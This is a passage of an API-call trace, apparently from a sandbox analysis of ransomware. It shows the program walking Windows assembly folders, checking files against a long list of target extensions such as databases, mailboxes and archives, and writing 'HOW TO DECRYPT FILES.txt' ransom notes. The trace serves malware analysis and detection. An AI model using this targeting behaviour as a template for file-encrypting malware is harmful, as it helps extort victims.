pszSpec="*.lay6") returned 0 [0108.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0108.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0108.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0108.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0108.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0108.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0108.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0108.871] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0108.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0108.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0108.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0108.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0108.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0108.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0108.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0108.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0108.872] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0108.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0108.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0108.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0108.873] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9\\Microsoft.Office.Tools.Common.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0108.873] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x466afe50, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x466afe50, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x466afe50, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x10b000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Common.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.873] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.873] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x466d5fb0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x466d5fb0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x466d5fb0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ada202fb7fc24ae3e07c48537b86a3d9", cAlternateFileName="ADA202~1")) returned 0 [0108.873] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.873] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb6d3e09, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb5d349f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb5d349f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.PowerShel#", cAlternateFileName="MICROS~1.POW")) returned 1 [0108.874] lstrcmpA (lpString1=".", lpString2="Microsoft.PowerShel#") returned -1 [0108.874] lstrcmpA (lpString1="..", lpString2="Microsoft.PowerShel#") returned -1 [0108.874] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.874] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.PowerShel#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#" [0108.874] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb6d3e09, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb5d349f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb5d349f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.917] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb6d3e09, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfb5d349f, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfb5d349f, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.918] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.918] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.918] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa6f2b04, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfa6f2b04, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfa6f2b04, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="7a9c26f21641112fcacd6f087b42133a", cAlternateFileName="7A9C26~1")) returned 1 [0108.918] lstrcmpA (lpString1=".", lpString2="7a9c26f21641112fcacd6f087b42133a") returned -1 [0108.918] lstrcmpA (lpString1="..", lpString2="7a9c26f21641112fcacd6f087b42133a") returned -1 [0108.918] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\*.*") returned="*.*" [0108.918] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\", lpString2="7a9c26f21641112fcacd6f087b42133a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a" [0108.918] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa6f2b04, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfa6f2b04, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfa6f2b04, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.919] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.919] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa6f2b04, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfa6f2b04, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfa6f2b04, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.919] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.919] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.919] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa634422, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xfa634422, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xfa65a583, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x202000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.PowerShell.GPowerShell.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.919] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.919] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.PowerShell.GPowerShell.ni.dll") returned -1 [0108.919] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.PowerShell.GPowerShell.ni.dll") returned -1 [0108.919] lstrcmpiA (lpString1="", lpString2="Microsoft.PowerShell.GPowerShell.ni.dll") returned -1 [0108.919] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\*.*") returned="*.*" [0108.920] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\" [0108.920] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\") returned="" [0108.920] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\HOW TO DECRYPT FILES.txt" [0108.920] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\7a9c26f21641112fcacd6f087b42133a\\how to decrypt files.txt")) returned 0xffffffff [0108.920] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.powershel#\\7a9c26f21641112fcacd6f087b42133a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.957] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0108.959] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.959] CloseHandle (hObject=0x90) returned 1 [0108.959] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\", lpString2="Microsoft.PowerShell.GPowerShell.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll" [0108.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.ems") returned 0 [0108.959] lstrlenA (lpString="*.ems") returned 5 [0108.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.db") returned 0 [0108.959] lstrlenA (lpString="*.db") returned 4 [0108.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.dbf") returned 0 [0108.959] lstrlenA (lpString="*.dbf") returned 5 [0108.959] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.myox") returned 0 [0108.960] lstrlenA (lpString="*.myox") returned 6 [0108.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.myo") returned 0 [0108.960] lstrlenA (lpString="*.myo") returned 5 [0108.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.qbw") returned 0 [0108.960] lstrlenA (lpString="*.qbw") returned 5 [0108.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.qbb") returned 0 [0108.960] lstrlenA (lpString="*.qbb") returned 5 [0108.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.qbm") returned 0 [0108.960] lstrlenA (lpString="*.qbm") returned 5 [0108.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.qbo") returned 0 [0108.960] lstrlenA (lpString="*.qbo") returned 5 [0108.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.qbx") returned 0 [0108.960] lstrlenA (lpString="*.qbx") returned 5 [0108.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.qba") returned 0 [0108.960] lstrlenA (lpString="*.qba") returned 5 [0108.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.qby") returned 0 [0108.960] lstrlenA (lpString="*.qby") returned 5 [0108.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.qbj") returned 0 [0108.960] lstrlenA (lpString="*.qbj") returned 5 [0108.960] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.ofx") returned 0 [0108.960] lstrlenA (lpString="*.ofx") returned 5 [0108.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.qif") returned 0 [0108.961] lstrlenA (lpString="*.qif") returned 5 [0108.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.mye") returned 0 [0108.961] lstrlenA (lpString="*.mye") returned 5 [0108.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.mbox") returned 0 [0108.961] lstrlenA (lpString="*.mbox") returned 6 [0108.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.eml") returned 0 [0108.961] lstrlenA (lpString="*.eml") returned 5 [0108.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.pst") returned 0 [0108.961] lstrlenA (lpString="*.pst") returned 5 [0108.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.ost") returned 0 [0108.961] lstrlenA (lpString="*.ost") returned 5 [0108.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.idx") returned 0 [0108.961] lstrlenA (lpString="*.idx") returned 5 [0108.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.dbx") returned 0 [0108.961] lstrlenA (lpString="*.dbx") returned 5 [0108.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.sql") returned 0 [0108.961] lstrlenA (lpString="*.sql") returned 5 [0108.961] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.mdb") returned 0 [0108.962] lstrlenA (lpString="*.mdb") returned 5 [0108.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.fdb") returned 0 [0108.962] lstrlenA (lpString="*.fdb") returned 5 [0108.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.wab") returned 0 [0108.962] lstrlenA (lpString="*.wab") returned 5 [0108.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.dat") returned 0 [0108.962] lstrlenA (lpString="*.dat") returned 5 [0108.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.txt") returned 0 [0108.962] lstrlenA (lpString="*.txt") returned 5 [0108.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.jpeg") returned 0 [0108.962] lstrlenA (lpString="*.jpeg") returned 6 [0108.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.jpg") returned 0 [0108.962] lstrlenA (lpString="*.jpg") returned 5 [0108.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.png") returned 0 [0108.962] lstrlenA (lpString="*.png") returned 5 [0108.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.php") returned 0 [0108.962] lstrlenA (lpString="*.php") returned 5 [0108.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.cs") returned 0 [0108.962] lstrlenA (lpString="*.cs") returned 4 [0108.962] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.cpp") returned 0 [0108.963] lstrlenA (lpString="*.cpp") returned 5 [0108.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.rar") returned 0 [0108.963] lstrlenA (lpString="*.rar") returned 5 [0108.963] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.zip") returned 0 [0108.963] lstrlenA (lpString="*.zip") returned 5 [0108.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", pszSpec="*.html") returned 0 [0108.967] lstrlenA (lpString="*.html") returned 6 [0108.967] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.PowerShel#\\7a9c26f21641112fcacd6f087b42133a\\Microsoft.PowerShell.GPowerShell.ni.dll", 